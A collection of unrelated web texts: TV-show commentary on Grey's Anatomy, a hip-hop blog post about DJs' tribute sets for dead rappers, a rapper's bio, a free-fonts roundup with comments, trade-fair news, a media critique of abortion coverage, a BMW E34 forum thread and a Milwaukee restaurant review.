"She does not forgive her for that. When you're watching it, if you're really listening, you understand both people's point of view. I completely empathize when Callie says, 'I only did it to save your life. You would have died!' That's a good point. Yes, she would and very well could have."
"But to Arizona in that moment of trust, she looked at her wife and said, 'I need you to promise me something,' and her wife looked back at her and said, 'I promise you.' And then she didn't do it. For what ever reason, and I don't know that it makes sense or is right or wrong, but Arizona does not forgive Callie."
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R.I.P. (Sometimes)
[Claimer: This is just some funny shit I noticed, don't take it too too seriously.]
Ok, so…
I was at a Brand Nubian show the other night. The crowd, it was cool, it got better as the night went on. At first I thought I was in a damn Black Moon video, no women in sight. I mean, I like to go to "real Hip Hop" shows as much as the next guy, but it is nice to have some kind of estrogen level in the building. Eventually, women started falling though. They were all probably at the Shawty Lo party on the other side of town.
Anyways, the DJ was doing his thing. Spinning your favorite early 90's and underground classics that you'd expect to hear (I guess) at a Brand Nubian show. Then, he got to to the part of the night where he did the R.I.P. dedication for "our fallen soldiers."
First, he played Big L's "Ebonics." He followed that with BPD's "Super Hoe" to show respect to Scott La Rock. Then he played "Jam Master Jay" to pay homage to the obvious. He ended the set tributing Pimp C with "Next Up" from the last UGK album, you know, the Marley Marl-produced song with Kane and G. Rap on it.
That was it.
I planned on going to the Shawty Lo show afterwards, but the parking lot was filled to capacity, so I didn't make it inside. But, I have been to one of his shows, and plenty of shows like his before.
Most of the time at "those shows," when and if the DJ does his R.I.P. set, he plays Biggie and Pac, mostly 'Pac. Every now and then, they'll slip in some Soulja Slim…well no, not really, they'll just play "Slow Motion." The chances of hearing something like "Soulja Life Mentality" are (no Pun intended) very slim.
Seeing this always makes me laugh on the inside. It seems as if at certain shows, some rappers/DJs/producer aren't dead enough to get any shine. I understand DJing in the club is about catering to the audience and playing what they are accustomed to hearing (is that right?), but still though.
I mean hey, I'm from the A, but shied, I wouldn't mind hearing some Mac Dre here and there. I guess the DJ doesn't think that's their job. I'm aware that I'm a six-hour flight away from Compton, but damn…some of us want Eazy too. I know a lot of the music from my city is the anti-thesis of Screw, but shit…Big Moe at least has one song that could get some burn "at the club." I know that Freaky Tah doesn't have any verses the non-Lost Boyz album buying public would remember, but as much as they used to get played on the radio, I'm sure a couple of their joints would get a couple smiles and nods.
Oh yeah…I know some HUGE fans of this producer guy who made this song. I'm sure people hearing this song for the first time would prolly go ape shit in the club too after while.
Like I said at the top, this dead rapper civil war stuff is just some funny shit I noticed. A lot of ya'll had prolly been feeling this way long before I dropped some words about it. There's plenty of deceased artists that I failed to mention that may get mentioned in the comments. Blame my forgetfulness on my mind, not my pen.
You know what, maybe that's it. Maybe DJs just forget to include some guys in their R.I.P. sets. I'm hoping they aren't
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Tyrone William Griffin, Jr. (born April 13, 1985), known professionally as Ty Dolla Sign (stylized as Ty Dolla $ign or Ty$), is an American rapper, singer, songwriter and record producer from Los Angeles, California. He first gained major recognition in 2010, through his appearance on YG's "Toot It and Boot It", which Ty Dolla Sign wrote and produced for Def Jam Recordings. In the summer of 2013, he signed a record deal with Wiz Khalifa's Taylor Gang Records. He is perhaps best known for his hit singles "Paranoid", "Or Nah", and "Blasé", as well as writing the hooks to "Loyal", "Post to Be", "FourFiveSeconds", and more.


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Sorry for my bad english, thank you for this list but the fourth picture is similar to the first one but the font linked is not the same ; the first is Harabara bold and the fourth is Bandy regular.
30 Free Fonts You MUST Have
Today we didn't really concentrate on creating a set following specific font styles. This time, we put together a mix of free fonts which are really worth using and shouldn't be missing in your personal font library. We are sure you'll find you own favorite between these 30 below.
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Harabara Bold TrueType font is free to download for both personal and commercial use.
Aldo Open font was created by Jonathan Hill. This OpenType font has a fancy, retro design.
PicoBlackAl Font is a bold, rounded corner decorative font. This font is free to download and add in your fonts library.
Bandy Regular TrueType font is a mdoern font with a mold design and unique, fancy details.
Camellia ExtraBold TrueType font has a retro inspired design and bold details.
Cupola TrueType is a unique font design with some interesting details. Can be used for free as a decorative font.
JUICE Italic Italic was created by Dhany Arliyanti. This TrueType font is all-caps with thin letters. Can be used in headings.
Diebel TrueType font is a modern font design with semi-rounded letters.
Kaliber Solid (BRK) TrueType font is free to download for both personal and commercial use.
Designed by Monotype's Toshi Omagari, the 26-font Metro Nova typeface family is a next-generation version of William Addison Dwiggins' Metro design.
lignor TrueType is a free to download font with a modern design. It has some interesting square letters.
Raceway Medium TrueType font is a retro inspired font with a dynamic design. It looks great on poster designs.
Republika Italic TrueType font is a futuristic font with square letters and unusual details.
RiotSquad TrueType font is a retro inspired font with vintage design details.
Aerovias Brasil NF was designed by Nick Curtis. This TrueType font is an all-caps font with angled letters and a futuristic design.
Hygiene TrueType is a retro font with a rounded letters design.
Decker TrueType is a sans serif font with thin leters and rounded details. It has a clean and simple design.
Fertigo-Regular was designed by Jos Buivenga. This is an OpenType font with curly details.
Androgyne Medium was created by Dimitri Castrique. This OpenType font has a nice design and it's very readable.
Junction font was created by Caroline Hadilaksono. This TrueType font is sans serif and has a slim, thin design.
Tin Doghouse Italic was created by Darren Rigby. This is a TrueType, sans serif font with retro details.
GalgaBold was created by Dan Zadorozny. This TrueType font has some nice futuristic details. It's an all-caps sans serif font.
LT Oksana Medium was created by Lauren Thompson. This TrueType font has a feminine design.
The Geometry Pro family has been designed to be the final word in purely geometric fonts, and this rounded "Soft" sub-family is the ultimate web 2.0 style font collection. Even though it is strictly geometric, it is not modular: letters have differing widths, and the sidebearings, spacing and kerning has been finely adjusted to create smooth text.
MonaKo TrueType font is a free to download, sans serif font. This thin font can be successfully used in headings and print designs.
Herald Square font is yet another font from the fevered imagination of lettering artist Samuel Welo, in a caps and small caps font with a tasty architectural treatment.
PT Banana Split TrueType font is a comic styled font with nice, cartoonish swirls and bold letters.
Zebrra font was created by Graham Meade. This TrueType font is an outline type of font with a very clean design.
Gainsborough TrueType font is a free to downlaod font with partial accents included.
Krupper Truetype Font was created in PostScript by Cowan Design Associates.
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21 thoughts on "30 Free Fonts You MUST Have"
Interesting Compilation Of Fonts 🙂 Thanks for sharing.
great post i like four of the fonts
Thanks allot they are really nice to have 🙂
oh. im meeting webdesigndev after a month.
Nice collection. Fertigo is awesome.
Amazing fonts, these will come in handy.
this font should be added to the list too: http://download.famouswhy.com/celeb_faces/
it is free and very useful for retro designs
thanks for sharing. i like five of the fonts
this is a great list! thanks for sharing, these fonts are awesome.
Thanks a lot ! ! !
Awesome Fonts ! ! !
Thanks Alot.
now easier for us to choose a font that will be used.
Great list and very nice fonts.
Thanks for sharing.
I really like this collection. Aerovias is my favorite! Thanks for sharing.
hot article! thanks so much
I like the junction fonts
Good set of fonts. I like Aldo the most.
Thanks for the list of fonts. Congratulations! great selection!. I would like to know how to do the background of the images liked to the fonts.
wow thank you for this nice selection
Lovely fonts , ill use some to add a bit mor elife to my blog
Great collection of these perfect Title fonts!


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15/11/2014The international exhibitors of MEDICA tell us vividly how well the fair went on for them.
13/11/2014We have collected some impressions of OR-Equipment at MEDICA 2014. In the halls 9 to 14 you can find everything related to the theme "surgery".
13/11/2014The international importance of MEDICA becomes clear in this year´s visitor statements. From all over the world visitors come to MEDICA to get information about innovations and products from the medical technology sector.


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An article in Wednesday's Albany Times-Union carried the deceptive title "35 years pass, but not debate: Demonstrations mark 1973 high court ruling affirming right to abortion." Instead of covering any of the various pro-life or pro-choice demonstrations over the past few days, the Times-Union spent the bulk of article discussing a ceremony at a new Planned Parenthood facility in Albany where local clergy "blessed" the clinic. Only two sentences mentioned that "Capital Region activists joined voices with their counterparts nationwide to mark the day" and that the annual March for Life was being held in Washington, DC.
The article, written by Times-Union staff writer Carol DeMare, quoted several "pro-choice" clergy who took part in the "blessing" ceremony. Rev. Larry Phillips of Schenectady, New York's Emmanuel-Friedens Church described the new Planned Parenthood center as "sacred and holy ... where women's voices and stories are welcomed, valued and affirmed; sacred ground where women are treated with dignity, supported in their role as moral decision-makers ... sacred ground where the violent voices of hatred and oppression are quelled."
Another pastor, the Rev. Bill Levering, also from a Schenectady church, coated pro-choice language in quasi-religious terms. "There are some decisions that are left to the individual. Even God respects the right of privacy. We make women into children when we say they cannot control their own bodies."
A Jewish rabbi blew the shofar during the half-hour ceremony, and declared its sound represented "a renewal of commitment to keep reproductive rights in the hands of women."
The article only quoted one critic of this ceremony, Kathleen Gallagher of the New York State Catholic Conference. She called the blessing "hypocritical" and pointed out that "abortion proponents have been saying this is not a religious issue, you should keep religion out of this, and now all of a sudden they turn around and decide to bless an abortion clinic to gain respect for a procedure everybody knows is not worthy of respect."
Besides the various "pro-choice" clergy, the Times-Union article cited Planned Parenthood spokeswoman Linda Scharf a total of five times.
[H/t to Dawn Eden of The Dawn Patrol and Damian G of the Conservathink blog].


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Something funny from bimmerforums you might like 'You Know Youre In An E34 If...'
This thread.. No joke.. Just made me love my car that much more. Lol :D
Gotta add this on here since I may not post on the other forum.
You know you're in an E34 if your trunk has a handle on the inside for you to pull it down.
lol yeah its real funny but at the same time it pisses me off lol...
true about how you can bitch about small things but like they said....when you wake up in the morning your craving to take the 30 min commute to work and love every single minute of it....
ive gone to bed more than pissed at my car cause i cant have it "perfect" and then i wake up and as im walking to her...i literaly just stand there and think to my self...."how could i ever want another car"
its simply love that keeps the relationship going...along with cash lol
Love that forum...I sold my good running 2000 chevy impala for a beat up e34 (only paid 800), and have more car problems, but no regrets at all. I need an exhaust, coolant (lol), new bumpers, and it's misfiring. I still wouldn't take back the chevy.
the reason I love BMWs is it usually does not take much to blow the cobwebs out of one and fix it up again. Lots of used parts out there and cheap new parts if you know the right people.
That was freakin hilarious! Soo much of that is true. I caught myself driving my moms car just to save gas one day, turned the corner and my eyes were set on my 540i and just drooled and drove past my house with out thinking haha oh well! We love our E34s
I read several of those some time ago... I have one now.
LICENSE PLATE LIGHT shows up on the OBC, Get out and see both lights working properly as they always have and end up blowing a fuse trying to fix it... To only find out you still get the words "license plate light" on the OBC.
How about leaving the windows down purposely so that u can close the with the key in lock from the outside of the car.
Hahaha I love that thread. When I was in the market for one I read every page
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Huan Xi replaces Hop Sheng
A few weeks ago, Hop Sheng Chinese restaurant changed hands and now has a new name, Huan Xi.
The restaurant offers dine-in, carry-out or delivery service. Lunches start at $4.95 and most dinners are between $8 and $11. Online ordering is available.
The space is inviting and clean. It appears the dining room got a fresh coat of light green paint and six clothed tables fill the small but sunny space.
Huan Xi is open Monday-Saturday from 11 a.m. to 3 a.m. and on Sunday from noon to 10 p.m.
Joan | Jan. 7, 2011 at 12:17 p.m. (report)
Visited Huan Xi over the holidays and was delighted to find the traditional Chinese menu to order from. I was not dissapointed. The dumplings were as good as they get. We also ordered salt pepper squid and the eggplant. Both dishes were delicious. Glad to have a quality authentic Chinese restuarant so close to home. I'll be back.
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AbsolutelyFabulous | Oct. 3, 2010 at 3:22 p.m. (report)
FINALLY-Good Authentic Chinese food on the East Side.. Though, HungryinMilwaukee says it so much better.. "Huan Xi, a new hope" http://hungryinmilwaukee.com/2010/09/27/huan-xi-a-new-hope/
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mkeheart | Sept. 23, 2010 at 1:36 p.m. (report)
Huan Xi has been a great place to check out - I ordered take out for a group of friends last night and everyone was impressed. I have also stopped in and noticed that the space is very inviting.
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DowntownRed | Sept. 23, 2010 at 8:58 a.m. (report)
"inviting and clean"? You had to mention that a restaurant is "clean"? Perhaps I have higher standars but shouldn't every restaurant be clean?. Mentioning that the place is clean says to me that it's one of the few things the place has going for it.
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